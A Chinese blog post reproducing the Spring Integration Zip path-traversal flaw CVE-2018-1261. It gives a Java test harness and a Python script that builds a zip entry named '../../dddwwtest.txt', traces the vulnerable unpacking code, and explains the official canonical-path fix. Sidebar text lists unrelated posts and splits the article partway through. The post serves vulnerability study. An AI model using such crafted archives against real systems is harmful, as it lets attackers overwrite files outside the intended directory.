< 2024年10月 >

日	一	二	三	四	五	六
29	30	1	2	3	4	5
6	7	8	9	10	11	12
13	14	15	16	17	18	19
20	21	22	23	24	25	26
27	28	29	30	31	1	2
3	4	5	6	7	8	9

昵称：羊小弟
园龄：8年4个月
粉丝：12
关注：1
+加关注

搜索

找找看

常用链接

我的随笔
我的评论
我的参与
最新评论
我的标签

我的标签

python(1)
ftp(1)
折腾(1)

随笔档案

2020年4月(1)
2019年12月(1)
2019年7月(1)
2019年6月(1)
2019年5月(3)
2019年4月(1)
2018年12月(3)
2018年9月(2)
2018年5月(2)
2018年4月(1)
2018年2月(3)
2018年1月(2)
2017年12月(2)
2017年11月(1)
2017年9月(2)
更多

阅读排行榜

1. javascript 使用btoa和atob来进行Base64转码和解码(7710)
2. jar包中存在包名和类名都相同的情况(4682)

Spring Integration Zip不安全解压（CVE-2018-1261）漏洞复现

不敢说分析，还是太菜了，多学习。

文章来源： 猎户安全实验室

存在漏洞的源码下载地址：https://github.com/spring-projects/spring-integration-extensions/releases/tag/zip.v1.0.0.RELEASE

代码下载两眼相望了好久，第一次弄这些东西，踩了好久的坑，边踩边学习。

用的是IDEA来复现： 终端打开到zip的文件夹，然后./gradlew idea 。直接就能直接用IDEA打开了。

漏洞地址：org/springframework/integration/zip/transformer/UnZipTransformerTests.java

这里的都是官方例子。

仿造官方例子写个测试类。

```
    @Test
    public void unzipCve() throws IOException, InterruptedException {

        final Resource resource = this.resourceLoader.getResource("classpath:testzipdata/test1.zi
        final InputStream upZipFile = resource.getInputStream();
        UnZipTransformer unZipTransformer = new UnZipTransformer();
        unZipTransformer.setWorkDirectory(new File("/Users/yangxiaodi/java/CVE-2018-1261/spring-i
        unZipTransformer.setZipResultType(ZipResultType.FILE);//设置类型（FILE, BYTE_ARRAY）
        unZipTransformer.afterPropertiesSet();

        Message<InputStream> message = MessageBuilder.withPayload(upZipFile).build();

        unZipTransformer.transform(message);//漏洞入口。
        System.out.println("over");
    }

}
```

这里的zip解压要用 到../../../z.txt格式的压缩文件，用python脚本生成一个。

```
import zipfile

if __name__ == "__main__":
    try:
        binary = b'ddddsss'
        zipFile = zipfile.ZipFile("test1.zip", "a", zipfile.ZIP_DEFLATED)
        info = zipfile.ZipInfo("test1.zip")
        zipFile.writestr("../../dddwwtest.txt", binary)
        zipFile.close()
    except IOError as e:
        raise e
```

东西都准备妥当了，开始分析漏洞吧。

漏洞入口：

3. phpcmsV9.5.8 后台拿shell(4489)
4. ftp爆破(python脚本)(4342)
5. Discuz利用UC_KEY进行前台getshell(4340)

评论排行榜

1. java.lang.Runtime.exec() Payload Workarounds(2)
2. discuz7.2 faq.php 注入漏洞分析(1)

推荐排行榜

1. wget命令行本地克隆一个网站(2)
2. ftp爆破(python脚本)(2)
3. Mlecms Getshell(1)
4. Discuz利用UC_KEY进行前台getshell(1)
5. discuz7.2 faq.php 注入漏洞分析(1)

最新评论

1. Re:discuz7.2 faq.php 注入漏洞分析

您好~想问一下，如何得知 在action等于grouppermission的时候，gids可作为传入的参数呀

--蠢的刘龙

2. Re:java.lang.Runtime.exec() Payload Workarounds

提前预判啊

--SummerDon

3. Re:java.lang.Runtime.exec() Payload Workarounds

牛批，这个网站现在已经没了

--SummerDon

unZipTransformer.transform(message);

接着调用org/springframework/integration/zip/transformer/AbstractZipTransformer.java 下的doTransform()函数。

```
@Override
protected Object doTransform(Message<?> message) throws Exception {
    Assert.notNull(message, "message must not be null");
    final Object payload = message.getPayload();
    Assert.notNull(payload, "payload must not be null");

    return doZipTransform(message);//往下调用doZipTransform函数
}
```

在调用org/springframework/integration/zip/transformer/UnZipTransformer.java 下的doZipTransform() 函数。

漏洞就出现在doZipTransform()函数。具体代码位置：

```
ZipUtil.iterate(inputStream, new ZipEntryCallback() {//漏洞没过滤的地方

    @Override
    public void process(InputStream zipEntryInputStream, ZipEntry zipEntry) throws IOException {

        final String zipEntryName = zipEntry.getName();
        final long zipEntryTime = zipEntry.getTime();
        final long zipEntryCompressedSize = zipEntry.getCompressedSize();
        final String type = zipEntry.isDirectory() ? "directory" : "file";

        if (logger.isInfoEnabled()) {
            logger.info(String.format("Unpacking Zip Entry - Name: '%s',Time: '%s', " +
                    "Compressed Size: '%s', Type: '%s'",
                    zipEntryName, zipEntryTime, zipEntryCompressedSize, type));
        }

        if (ZipResultType.FILE.equals(zipResultType)) {
            final File tempDir = new File(workDirectory, message.getHeaders().getId().toString())
            tempDir.mkdirs(); //NOSONAR false positive,创建文件夹
            final File destinationFile = new File(tempDir, zipEntryName);

            if (zipEntry.isDirectory()) {
                destinationFile.mkdirs(); //NOSONAR false positive
            }
            else {
                SpringZipUtils.copy(zipEntryInputStream, destinationFile);
                uncompressedData.put(zipEntryName, destinationFile);
            }
        }
        else if (ZipResultType.BYTE_ARRAY.equals(zipResultType)) {
            if (!zipEntry.isDirectory()) {
                byte[] data = IOUtils.toByteArray(zipEntryInputStream);
                uncompressedData.put(zipEntryName, data);
            }
        }
        else {
            throw new IllegalStateException("Unsupported zipResultType " + zipResultType);
        }
    }
```

调用ZipUtil.iterate()函数，然后利用回调函数ZipEntryCallback()去处理解压出来的内容。

这里的final String zipEntryName = zipEntry.getName(); //就是解压出来的文件内容，

在final File destinationFile = new File(tempDir, zipEntryName); //这里没任何过滤就进行文件路径和文件名的拼接。

然后下面两句代码把文件给复制过去。

```
SpringZipUtils.copy(zipEntryInputStream, destinationFile);
uncompressedData.put(zipEntryName, destinationFile);
```

这里有个坑，就是../../../z.txt 的文件，不能存在未创建的文件夹路径，例如： ../../zzz/z.txt ，在zzz文件夹不存在的情况下，会报错。

这里来看下他们官方的漏洞修复，增加了一个路径检测函数。官方地址

```
public File checkPath(final Message<?> message, final String zipEntryName) throws IOException {
    final File tempDir = new File(workDirectory, message.getHeaders().getId().toString());
    tempDir.mkdirs(); //NOSONAR false positive
    final File destinationFile = new File(tempDir, zipEntryName);

    /* If we see the relative traversal string of ".." we need to make sure
     * that the outputdir + name doesn't leave the outputdir.
     */
    if (!destinationFile.getCanonicalPath().startsWith(workDirectory.getCanonicalPath())) {
        throw new ZipException("The file " + zipEntryName +
                " is trying to leave the target output directory of " + workDirectory);
    }
    return destinationFile;
}
```

主要看这句话：

if (!destinationFile.getCanonicalPath().startsWith(workDirectory.getCanonicalPath()))

如果destinationFile.getCanonicalPath() 也就是当前的全文件路径，例如： /etc/s/../passwd ，会变成/etc/passwd ，

全文件路径中 开头不包含workDirectory.getCanonicalPath() 的路径，就报错。 例如：/etc/s/ ，而workDirectory是定义的路径。

综上就是路径不能往前跳转。

这种路径检测方法还是学到了，本以为会过滤 ".." 这样的字符串，直接对比两次的路径也是个好方法

« 上一篇： php一句话反弹bash shell
» 下一篇： JAVA常见安全问题复现

posted on 2018-05-14 16:54 羊小弟 阅读(1456) 评论(0) 编辑 收藏 举报

编辑推荐：

· 你为什么不应该过度关注go语言的逃逸分析
· 在C#中基于Semantic Kernel的检索增强生成（RAG）实践
· 数据库系列：主从延时优化
· 一次彻底讲清如何处理mysql 的死锁问题
· 我被 .NET8 JIT 的一个BUG反复折磨了半年之久

阅读排行：

· 404的众包平台，也许是园子商业化的未来
· C#/.NET/.NET Core技术前沿周刊 | 第 10 期（2024年10.14-10.20）
· Awesome Tools，程序员常用高效实用工具、软件资源精选，办公效率提升利器！
· count(*)、count(1)哪个更快？面试必问：通宵整理的十道经典MySQL必问面试题
· 推荐一款专为Nginx设计的图形化管理工具: Nginx UI！